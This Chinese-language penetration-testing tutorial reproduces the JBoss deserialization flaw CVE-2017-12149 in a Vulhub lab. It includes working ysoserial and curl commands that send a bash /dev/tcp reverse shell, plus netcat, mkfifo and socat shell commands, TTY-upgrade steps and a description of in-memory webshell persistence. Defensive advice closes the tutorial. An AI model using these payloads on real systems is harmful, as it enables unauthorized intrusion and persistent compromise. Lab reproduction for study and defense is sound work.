1. 项目概述与核心价值最近在整理内部安全演练的案例库翻到了几年前那个经典的Jboss反序列化漏洞CVE-2017-12149。这个漏洞在当时影响范围极广即便放到今天其利用思路和反序列化攻击的本质依然具有很高的学习价值。很多刚入行的安全工程师可能听说过这个漏洞编号也大概知道它“很严重”但具体怎么利用、为什么能利用、以及如何从简单的命令执行升级到更稳定的反弹shell其中的门道可能并不清晰。这次我就结合当年的实战笔记带大家完整地复现一遍重点会放在如何从基础的nc监听过渡到使用javaDeserH2HC这类工具实现更隐蔽、功能更全的反弹shell。整个过程不仅仅是执行几条命令更重要的是理解每一步背后的原理以及在不同网络环境下如何灵活应变。无论你是想夯实内网渗透的基础还是准备安全竞赛这个案例都能给你带来不少启发。2. 漏洞原理深度解析2.1 Jboss JMXInvokerServlet 与反序列化入口要理解CVE-2017-12149首先得知道Jboss现在叫WildFly的JMXJava Management Extensions控制台。JMX是Java平台的管理和监控接口Jboss通过/invoker/JMXInvokerServlet这个路径暴露了一个HTTP服务用来接收并处理JMX请求。问题就出在这个Servlet的处理逻辑上。在受影响版本主要是Jboss AS 5.x/6.x中JMXInvokerServlet在处理POST请求时会直接读取请求体Body中的序列化数据然后调用ObjectInputStream.readObject()方法进行反序列化。这个方法在Java中是一个著名的“危险方法”因为它会根据序列化数据流中的类描述信息自动创建对象并恢复其状态。如果攻击者能够控制输入流构造一个恶意的序列化对象那么在反序列化过程中就会执行该对象类中的特定方法例如readObject、readResolve等从而触发任意代码执行。注意这里的关键是“自动调用”。Java反序列化机制本身并不区分对象是“善”还是“恶”它忠实地按照字节流还原对象。如果某个类的readObject方法里包含了执行系统命令的代码那么反序列化这个类的实例时命令就会被执行。2.2 为什么 Commons Collections 库成为突破口光有反序列化入口还不够我们需要一个“跳板”类它的readObject或相关方法能够被用来执行代码。在Java生态中Apache Commons Collections特别是3.2.1及以下版本库中的一些类如InvokerTransformer、ChainedTransformer、ConstantTransformer和LazyMap/TransformedMap它们的设计允许将方法调用和参数进行链式组合。安全研究人员发现通过精心构造这些对象的组合可以在反序列化时形成一个动态的调用链最终执行Runtime.getRuntime().exec()这样的危险操作。具体来说攻击链Gadget Chain通常是这样的一个AnnotationInvocationHandler或BadAttributeValueExpException作为反序列化的起点触发点。它关联到一个LazyMap或TransformedMap其valueTransformer被设置为一个ChainedTransformer。ChainedTransformer中包含一系列Transformer其中最关键的是一个InvokerTransformer。InvokerTransformer被配置为调用Runtime类的exec方法参数就是我们要执行的系统命令。当恶意序列化数据被JMXInvokerServlet读取并反序列化时这个复杂的对象图就会被重建调用链随之触发命令得以在服务器上执行。由于Jboss默认就包含了有漏洞版本的Commons Collections库所以这个攻击链是现成的这也是该漏洞危害巨大的原因之一。2.3 漏洞影响范围与修复方式这个漏洞影响Jboss Application Server 5.x和6.x版本WildFly 8及以后版本不受影响因为架构已变更。在互联网上曾经有大量未授权或使用弱密码的Jboss管理控制台暴露结合这个漏洞攻击者可以轻松实现远程代码执行RCE进而植入后门、窃取数据或作为内网渗透的跳板。官方修复方式主要是两个层面一是升级到不受影响的WildFly版本二是在无法升级的情况下删除或重命名JMXInvokerServlet的部署文件通常是$JBOSS_HOME/server/[default|all]/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml中相关配置或直接删除invoker.war这个目录从根本上移除这个危险的端点。3. 环境搭建与工具准备3.1 靶机环境搭建Vulhub为了安全、可重复地复现漏洞强烈建议使用 Docker 环境。这里我使用 Vulhub 项目提供的现成漏洞环境它封装好了所有依赖一键启动。# 1. 克隆 Vulhub 项目如果已有则跳过 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 Jboss CVE-2017-12149 目录 cd jboss/CVE-2017-12149 # 3. 编译并启动漏洞环境 docker-compose up -d执行成功后使用docker ps命令可以看到一个名为vulhub/jboss:as6的容器正在运行默认将 Jboss 的 8080 端口映射到宿主机的 8080 端口。访问http://your-host-ip:8080应该能看到 Jboss 的默认欢迎页面。访问http://your-host-ip:8080/invoker/JMXInvokerServlet如果返回一个空白页面或者提示“This is the JBoss JMX invoker servlet.”之类的信息而不是404说明漏洞端点存在。实操心得使用 Vulhub 等集成环境能极大节省时间避免在安装旧版本 Java、配置 Jboss 时踩坑。务必在隔离的网络环境如个人虚拟机或内网实验机中进行测试。3.2 攻击机工具准备我们需要准备两款核心工具用于生成攻击载荷的ysoserial和用于接收反弹 shell 的netcat。1. ysoserial这是一个著名的Java反序列化利用工具集包含了针对 Commons Collections、Spring、Fastjson 等各种库的利用链Gadget Chains。我们需要用它来生成针对 CommonsCollections 的恶意序列化数据。# 下载 ysoserial 的 jar 包可从 GitHub release 页面下载 wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar # 或者如果你有 Java 开发环境也可以克隆源码自行编译 git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 编译后的 jar 包在 target/ 目录下2. Netcat (nc)Netcat 是网络工具中的“瑞士军刀”我们将用它来监听一个端口接收靶机反弹回来的 shell。# 在 Kali Linux 或大多数 Linux 发行版中通常已安装。如果没有使用包管理器安装 # Debian/Ubuntu sudo apt-get install netcat-traditional # 或者使用 netcat-openbsd命令可能是 nc 或 netcat # CentOS/RHEL sudo yum install nc # 检查是否安装成功 nc -h3. JavaDeserH2HC这是一个将 ysoserial 生成的序列化数据封装成 HTTP POST 请求的 Python 脚本方便我们直接发送漏洞利用数据包。它省去了我们手动构造 HTTP 包头的麻烦。# 下载 JavaDeserH2HC 脚本 git clone https://github.com/joaomatosf/JavaDeserH2HC.git cd JavaDeserH2HC准备好这些工具我们的攻击机环境就基本就绪了。4. 漏洞复现基础命令执行与NC反弹Shell4.1 检测漏洞端点首先确认靶机的漏洞端点是否可访问。使用curl命令或浏览器访问curl -v http://192.168.1.100:8080/invoker/JMXInvokerServlet如果返回 HTTP 200 状态码且响应头中包含Content-Type: application/x-java-serialized-object或类似信息或者响应体非空可能是一串乱码那是默认的序列化对象则说明该端点存在且可能可利用。4.2 使用 NC 接收反弹 Shell在攻击机上我们先开启一个nc监听器等待靶机连接并给我们一个 shell。# 在攻击机假设IP为192.168.1.50上执行 nc -lvnp 4444参数解释-l: 监听模式-v: 详细输出-n: 直接使用IP地址不进行DNS解析-p 4444: 指定监听端口为4444执行后终端会挂起显示listening on [any] 4444 ...表示正在等待连接。4.3 生成并发送反向Shell载荷现在我们需要让靶机执行一条命令将其/bin/bash连接到我们的监听端口。在Linux下常用的反向Shell命令是bash -i /dev/tcp/192.168.1.50/4444 01或者使用/bin/bash -c包裹。但要注意这个命令中包含重定向符号和01在通过Java的Runtime.exec()执行时需要特别注意参数传递。Runtime.exec()不像在真正的shell中那样处理重定向它更接近于执行一个程序并传递参数。因此更可靠的方式是将其写成一个完整的字符串并传递给bash -c。我们可以使用ysoserial生成执行该命令的序列化载荷java -jar ysoserial-all.jar CommonsCollections5 bash -c bash -i /dev/tcp/192.168.1.50/4444 01 payload.ser这里使用了CommonsCollections5利用链Gadget。为什么是CC5在实战中由于靶机Java环境、类库版本的不同不同的利用链成功率有差异。CC1链最经典但在Java 8u71之后被部分限制。CC5、CC6、CC7等是CC1的变种绕过了某些限制。通常我会按CC5、CC6、CC7、CC1的顺序尝试。生成了一个名为payload.ser的二进制文件里面就是恶意的序列化数据。4.4 发送Payload触发漏洞最简单的方式是使用curl直接发送这个二进制文件curl http://192.168.1.100:8080/invoker/JMXInvokerServlet --data-binary payload.ser -H Content-Type: application/x-java-serialized-object--data-binary payload.ser: 将payload.ser文件的内容作为请求体原始数据发送。-H Content-Type: ...: 设置请求头模拟正常的JMX调用。发送命令后立即查看攻击机上正在监听的nc终端。如果漏洞利用成功你会看到连接建立的提示并且出现了一个新的命令行提示符可能是bash-4.2$这表示你已经获得了靶机的一个反向Shell。常见问题与排查nc 监听器没有反应检查命令确认反向Shell命令中的IP和端口是否正确。在Docker容器内靶机看到的攻击机IP可能是宿主机的IP而不是攻击机容器的IP需要根据网络模式如bridge调整。尝试不同利用链将CommonsCollections5换成CommonsCollections6、CommonsCollections7或CommonsCollections1重新生成payload并发送。检查防火墙确保攻击机的4444端口未被防火墙阻止且靶机能访问到该IP和端口。使用基础命令测试先尝试执行一个无害的、有回显的命令来测试漏洞是否真的可利用例如java -jar ysoserial-all.jar CommonsCollections5 touch /tmp/test_success payload_test.ser发送后去靶机查看/tmp/test_success文件是否被创建。Shell 不稳定或立即退出通过Runtime.exec()获得的Shell环境通常比较“简陋”缺少完整的终端环境和交互能力。这引出了我们下一节要解决的问题如何获取一个更稳定、功能更全的交互式Shell。5. 进阶利用使用 JavaDeserH2HC 获取稳定 Shell5.1 为什么需要更稳定的 Shell通过基础方法获得的反弹Shell存在几个明显缺陷无交互性无法使用vi、top等需要终端控制的命令按CtrlC会直接中断整个连接。不稳定网络波动或长时间无操作可能导致连接断开。功能缺失环境变量如$PATH可能不完整影响命令执行。为了解决这些问题我们通常需要将简单的反向Shell升级为一个完整的、支持交互的TTYTeletypewriter会话。而JavaDeserH2HC脚本的价值在于它不仅能发送payload还能方便地集成更复杂的Shell升级命令。5.2 JavaDeserH2HC 工具详解与使用JavaDeserH2HC脚本的核心功能是自动化构造HTTP POST攻击请求。我们来看一下它的基本用法cd JavaDeserH2HC python2 JavaDeserH2HC.py运行后会显示帮助信息主要参数如下-u URL: 指定目标URL即JMXInvokerServlet的地址。-c COMMAND: 指定要执行的系统命令。-p PAYLOAD: 指定使用的 ysoserial 利用链类型如commonscollections5。-fh FILE: 从文件读取HTTP请求头可用于自定义头部。-fp FILE: 从文件读取POST数据如果已经生成了payload.ser可以直接用这个参数发送。使用示例直接执行命令并回显python2 JavaDeserH2HC.py -u http://192.168.1.100:8080/invoker/JMXInvokerServlet -c id -p commonscollections5这条命令会向目标发送一个执行id命令的payload并将命令的输出打印在攻击机的终端上。这对于快速验证漏洞和获取基本信息非常有用。5.3 集成稳定反弹Shell的完整流程我们的目标是获得一个稳定的、全交互的TTY Shell。标准的流程是先建立一个基础反向Shell连接然后在这个连接中执行Shell升级命令。步骤一准备Shell升级脚本或命令在攻击机上准备一个用于升级Shell的命令序列。一个非常可靠的方法是使用Python假设靶机有Python环境python -c import pty; pty.spawn(/bin/bash)如果Python不可用可以使用其他方法如script -qc /bin/bash /dev/null # 或者 /bin/bash -i # 结合 stty 命令调整终端设置为了将这个过程自动化我们可以将升级命令嵌入到初始的反向Shell命令中。但要注意命令的嵌套和引号转义。步骤二构造复合命令载荷我们可以让靶机先连接到一个nc然后立即在这个连接里执行升级命令。但通过Runtime.exec()一次执行多条复杂命令比较麻烦。更稳健的策略是分两步让靶机下载一个包含升级命令的脚本到临时目录。执行这个脚本。然而这需要HTTP服务。更直接的方法是将一条复杂的、能完成连接和升级的命令作为参数传递给bash -c。这需要对特殊字符进行仔细的转义。一个经过测试的相对可靠的命令如下假设攻击机IP为192.168.1.50监听端口4444bash -c bash -i /dev/tcp/192.168.1.50/4444 01; sleep 2; python -c \import pty; pty.spawn(\\\/bin/bash\\\)\这个命令尝试先建立反向Shell然后等待2秒再执行Python升级TTY。但它在一次exec()中执行成功率受环境影响。更优方案使用JavaDeserH2HC配合监听脚本实际上JavaDeserH2HC更适合执行单条命令并查看回显。对于获取交互式Shell我个人的习惯是用JavaDeserH2HC执行一个命令在靶机上创建一个后台持续监听并连接我们的“二级监听器”的脚本或进程。但这比较复杂。更常用的实战方法先用JavaDeserH2HC执行一个简单的命令验证漏洞和基本命令执行能力。然后还是回到我们之前的方法用ysoserial生成一个建立基础反向Shell的payload用curl发送。在获得基础Shell后手动在里面输入升级TTY的命令。所以JavaDeserH2HC在获取稳定Shell过程中的角色更多的是一个漏洞验证和命令执行测试工具而不是获取最终交互Shell的直接工具。获取稳定交互Shell往往需要我们在基础Shell连接建立后进行手动交互和升级。5.4 手动升级Shell为完全交互式TTY假设我们已经通过4.3节的方法获得了一个基础的反向Shell连接在nc终端里。第一步检查当前Shell环境在nc终端里输入echo $TERM stty size可能返回unknown或空白说明终端类型和尺寸未设置。第二步使用Python升级TTY在nc终端里输入python -c import pty; pty.spawn(/bin/bash)或者用python3。执行后提示符可能会变化你已经进入了一个由Python伪终端pty生成的bash。第三步完善终端设置关键按CtrlZ将当前会话挂起到后台。回到你攻击机原本的终端不是nc那个输入stty raw -echo fg然后按一次回车。stty raw -echo: 设置终端为原始模式并关闭回显。这让你在nc会话中的按键输入能直接传递过去。fg: 将刚才挂起的nc会话恢复到前台。第四步设置环境变量现在你应该回到了nc的bash界面。输入export TERMxterm-256color export SHELLbash stty rows 24 columns 80 # 根据你实际终端窗口大小调整至此你获得了一个功能完整的、支持历史记录、Tab补全、作业控制CtrlC/Z的交互式TTY Shell。避坑技巧如果靶机没有安装Python可以尝试使用script命令或者expect来模拟TTY但成功率较低。最保险的方式是在获取基础Shell后想办法上传一个静态编译的socat或nc二进制文件然后用它们建立更稳定的连接例如socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:192.168.1.50:4444。6. 漏洞利用的防御与衍生思考6.1 从攻击者视角看防御复现漏洞的目的是为了更好地防御。从这次复现中我们可以总结出针对此类反序列化漏洞的防御思路及时更新与补丁管理这是最根本的。对于Jboss应升级到WildFlyJboss AS的后续版本并保持更新。对于其他使用Java反序列化的组件如Fastjson、Shiro、WebLogic等必须密切关注安全公告及时打补丁。最小化攻击面删除或禁用不必要的服务和组件。对于Jboss如果不需要JMX over HTTP就坚决移除invoker.war或对应的Servlet配置。遵循“最小权限原则”线上环境不应开启调试接口或管理页面。依赖库安全管理定期扫描项目中的第三方依赖如Commons Collections使用无漏洞的版本。可以使用OWASP Dependency-Check、Maven的versions:display-dependency-updates等工具辅助。输入验证与过滤在架构层面对所有不可信的数据源如网络请求、文件、数据库进行严格的验证。对于反序列化操作如果业务必须可以考虑使用白名单机制只允许反序列化特定的、安全的类。运行时防护使用Java安全管理器Security Manager或第三方RASP运行时应用自我保护产品监控和拦截危险的反射、类加载、命令执行等行为。网络层隔离将关键应用部署在内网通过防火墙严格限制外部访问。管理后台绝不暴露在公网。6.2 反序列化漏洞的现代演变CVE-2017-12149是一个基于“原生”Java反序列化ObjectInputStream和第三方库Commons Collections的经典案例。但反序列化漏洞的形态一直在演变Fastjson反序列化漏洞Fastjson是阿里巴巴开源的JSON解析库。其漏洞原理与Jboss不同但危害类似。攻击者通过构造特殊的JSON字符串触发Fastjson在解析时调用特定类的特定setter或getter方法进而利用类似CC链的机制执行代码。防御的关键是升级到安全版本并谨慎使用type等特性。Shiro反序列化漏洞Shiro-550/721Apache Shiro是一个权限框架。其漏洞源于RememberMe功能的Cookie使用了AES加密但加密密钥硬编码或可被猜测。攻击者可以构造恶意的序列化数据加密后作为Cookie发送Shiro解密并反序列化后触发RCE。防御需要修改默认密钥并为RememberMe Cookie添加完整性校验。其他语言的反序列化反序列化问题非Java独有。Python的pickle、PHP的unserialize()、.NET的BinaryFormatter等都曾曝出过类似的高危漏洞。其核心逻辑相通将数据还原为对象的过程如果完全信任输入就可能成为代码执行的跳板。理解Jboss这个案例就掌握了反序列化攻击的“基本范式”寻找反序列化入口 - 构造或利用现有的对象调用链Gadget Chain - 在链的末端触发危险操作如命令执行。后续学习其他反序列化漏洞时都可以从这个范式出发去分析。7. 复现过程中的深度问题排查与技巧7.1 利用链Gadget选择与兼容性在实战中最大的不确定性来自于利用链的选择。为什么我的CC5不行别人的CC6就行这主要取决于目标服务器的Java运行环境和类库版本。Java版本影响Java 8u71之后sun.reflect.annotation.AnnotationInvocationHandler的readObject方法被修改导致基于AnnotationInvocationHandler的CC1链失效。CC5、CC6等链使用了其他入口点如BadAttributeValueExpException因此可能在高版本Java中依然有效。类库版本差异目标系统上的Commons Collections库可能不是标准的3.2.1可能是修改过的版本或者类路径中存在多个版本导致类名、方法名有细微差别从而使标准的Gadget失效。其他依赖有些Gadget链依赖其他库如commons-beanutils。如果目标环境没有链就无法走通。排查技巧信息收集尽可能收集目标信息。如果Jboss有错误回显可以尝试执行java -version或查找Web应用下的lib目录。顺序尝试准备一个常用的链顺序列表如CommonsCollections5,CommonsCollections6,CommonsCollections7,CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4。用脚本批量尝试。回显测试先使用有回显的命令测试如whoami、id、ping注意ping可能无回显最好用curl或wget访问一个你能控制的HTTP服务来证明命令执行。使用JavaDeserH2HC的-c参数非常适合做这件事。使用综合工具像ysoserial的URLDNS链它不执行命令而是触发一次DNS查询。可以用来在不执行命令的情况下无回显地验证反序列化漏洞是否存在你需要有一个能接收DNS查询日志的域名。7.2 网络环境与Payload投递问题在内网渗透或特定网络环境下可能会遇到连接问题。出网限制靶机服务器可能无法访问外网你的攻击机导致反向Shell连接失败。解决方案尝试使用正向Shell。让攻击机去连接靶机的某个端口。这需要你在靶机上执行nc -lvp 4444 -e /bin/bash但前提是靶机有nc且支持-e参数通常BusyBox或某些精简版不支持。更通用的方法是使用mkfifo管道或Python创建正向Shell。命令示例靶机执行rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 21 | nc -l 192.168.1.100 4444 /tmp/f然后在攻击机用nc 192.168.1.100 4444连接。但如何让靶机执行这条命令你需要通过漏洞先写入一个脚本文件再执行它步骤更繁琐。防火墙与杀软主机防火墙或安全软件可能拦截反向连接。解决方案尝试使用常见端口如80、443、53进行反弹。或者使用HTTP/HTTPS隧道等更隐蔽的方式。7.3 内存马与持久化后门在成功获得Shell后攻击者往往不满足于一次性的访问他们会尝试植入持久化后门。在Java Web环境中除了上传Webshell如JSP马更隐蔽的方式是注入内存马。内存马并非将文件写入磁盘而是通过Java的字节码操作技术如Instrumentation或直接修改已加载的类向某个运行中的Servlet、Filter或Controller动态注入恶意代码。只要应用不重启后门就一直存在且文件系统上无痕迹。例如可以构造一个特殊的反序列化Payload利用漏洞执行代码将一段恶意类字节码注册为一个新的Filter。这个Filter会拦截所有请求并在其中检查特定参数如果匹配则执行攻击者指令。由于整个过程发生在内存中传统的文件监控和静态扫描很难发现。防御内存马需要结合RASP、行为监控和定期的内存Dump分析。对于防御方来说仅仅修复漏洞、删除Webshell文件是不够的还必须警惕内存中的威胁。这也提醒我们在渗透测试后的修复阶段最彻底的方式是重启应用服务以清除所有内存中的非预期状态。